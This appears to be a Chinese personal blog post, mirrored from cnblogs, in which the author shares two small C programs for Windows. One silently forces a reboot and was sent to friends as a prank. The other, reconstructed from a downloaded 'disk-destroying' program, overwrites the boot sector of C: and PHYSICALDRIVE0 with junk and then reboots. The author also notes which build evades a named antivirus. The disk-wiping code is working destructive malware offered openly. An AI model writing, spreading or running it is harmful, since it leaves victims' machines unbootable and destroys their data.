zoukankan      html  css  js  c++  java
  • 比木马NB多了

    1 #include <Windows.h>
    2 int main(int argc, char **argv)
    3 {
    4     WinExec("cmd.exe /C shutdown -r -f -t 0", SW_HIDE);
    5     return 0;
    6 }

    生成这个程序的DEBUG版,360不报毒。RELEASE版360会报毒

    然后发给朋友们……

    我太邪恶了

    后记:

    当时在一个群的群共享里看到一个“摧毁硬盘的程序.exe”

    好奇心驱使,下载下来在虚拟机里跑了一下

    结果虚拟机萎掉了——找不到操作系统。。。

    幸好拍了快照,逆向了一下,大概比照着写了一下

    代码如下:

     1 #include <Windows.h>
     2 #define N 512
     3 
     4 int main(int argc, char **argv)
     5 {
     6     char FileName[] = "\\\\.\\C:";
     7     HANDLE hFile = CreateFileA(
     8         FileName,
     9         GENERIC_ALL,
    10         FILE_SHARE_READ|FILE_SHARE_WRITE,
    11         NULL,
    12         OPEN_EXISTING,
    13         0,
    14         NULL);
    15     int err = GetLastError(); 
    16     char buffer[N];
    17     int i = 0;
    18     DWORD NumberOfBytesWritten;
    19     for(i=0; i<N; i++)
    20     {
    21         buffer[i] = 0x30;
    22     }
    23     DWORD Ret = SetFilePointer(
    24         hFile,
    25         0,
    26         NULL,
    27         0);
    28     WriteFile(
    29         hFile,
    30         buffer,
    31         N,
    32         &NumberOfBytesWritten,
    33         0);
    34     CloseHandle(hFile);
    35 
    36     hFile = CreateFileA(
    37         "\\\\.\\PHYSICALDRIVE0",
    38         GENERIC_ALL,
    39         FILE_SHARE_READ|FILE_SHARE_WRITE,
    40         NULL,
    41         OPEN_EXISTING,
    42         0,
    43         NULL);
    44     Ret =  (
    45         hFile,
    46         0,
    47         NULL,
    48         0);
    49     WriteFile(
    50         hFile,
    51         buffer,
    52         N,
    53         &NumberOfBytesWritten,
    54         0);
    55     CloseHandle(hFile);
    56     WinExec("cmd.exe /C shutdown -r -f -t 0", SW_HIDE);
    57 
    58     return 0;
    59 }

    大概思路就是把C盘的引导区写废吧。对文件系统不太理解,只是猜测

    觉得最好玩的还是最后那个关机……

    好吧,我承认这个程序很水,神马隐藏、传播、自动运行我都没考虑

    甚至杀软都不屑于报毒

    但是,

    但是,但是这真的是我第一次成功地弄死一个系统……

    不要笑话我、、、

    再接再厉吧!

  • 相关阅读:
    [NLP] 语义网络与知识图谱入门(二)
    [NLP] 语义网络与知识图谱入门(一)
    [论文理解] LFFD: A Light and Fast Face Detector for Edge Devices
    [学习笔记] 匈牙利匹配
    [NLP] nlp-lstm-cos -> sin
    [ros] ros入门记录
    [推荐系统] 两种协同过滤
    [NN] Guided Backpropgation 可视化
    [torch] pytorch hook学习
    python高级编程和算法
  • 原文地址:https://www.cnblogs.com/02xiaoma/p/2538886.html
Copyright © 2011-2022 走看看